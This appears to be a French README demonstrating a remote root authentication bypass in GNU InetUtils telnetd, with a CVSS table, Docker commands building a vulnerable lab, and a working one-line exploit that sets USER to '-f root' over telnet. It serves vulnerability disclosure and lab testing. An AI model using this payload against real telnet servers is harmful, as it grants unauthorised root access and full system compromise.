
Vulnérabilité dans GNU InetUtils telnetd permettant un accès root à distance
Une vulnérabilité d'injection d'arguments récemment identifiée dans telnetd de GNU InetUtils permet à des attaquants de contourner l'authentification en définissant la variable d'environnement USER sur la valeur « -f root ». Par conséquent, un attaquant distant non authentifié peut obtenir un accès aux systèmes exécutant le service telnetd vulnérable et élever ses privilèges à root. Si elle est exploitée avec succès, cette faille peut permettre aux attaquants d'accéder à des informations sensibles, de modifier les paramètres système et d'exécuter des commandes arbitraires, ce qui peut entraîner un compromis complet du système.
| Détail CVSS | CNA (MITRE) |
|---|
| Score de base | 9.8 |
| Vecteur | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Vecteur d'attaque | Réseau |
| Complexité d'attaque | Faible |
| Privilèges requis | Aucun |
| Interaction utilisateur | Aucune |
| Portée | Inchangée |
| Impact confidentialité | Élevé |
| Impact intégrité | Élevé |
| Impact disponibilité | Élevé |
| Version CVSSv3 | 3.1 |
Nous avons pu accéder au Commit ci-dessous datant de 2015 qui montre le changement de code (ligne 62) ayant créé cette vulnérabilité.
Le but de ce readme est uniquement de montrer l'exécution de l'exploit, pas chaque étape qui a généré ce CVE. Cependant, l'intention est de substituer l'espace réservé %U avec la valeur prise depuis la variable d'environnement USER. Cette variable d'environnement particulière est contrôlée par l'utilisateur et peut être manipulée via le protocole Telnet 🔥 .
Pour ce test, j'ai créé 2 conteneurs en utilisant des images de Docker Hub, avec une version vulnérable d'InetUtils.
docker run --rm -it --name vuln -p 23:23 ubuntu:22.04 bash
apt update
apt install build-essential wget tar
wget http://ftp.gnu.org/gnu/inetutils/inetutils-2.5.tar.gz
tar -xvzf inetutils-2.5.tar.gz
cd inetutils-2.5
./configure
./configure --enable-telnet
make clean
make
make install
export PATH=$PATH:/usr/local/libexec
apt install openbsd-inetd
echo "telnet stream tcp nowait root /usr/local/libexec/telnetd telnetd" >> /etc/inetd.conf
service openbsd-inetd restart
docker run --rm -it --name attacker ubuntu bash
apt install telnet
Avec le payload ci-dessous, nous remplaçons la variable USER et contournons le système d'authentification.
USER="-f root" telnet -a 172.17.0.3
Vérifiez votre version d'inetutils
hostname --version
telnetd --version
À la prochaine :wink: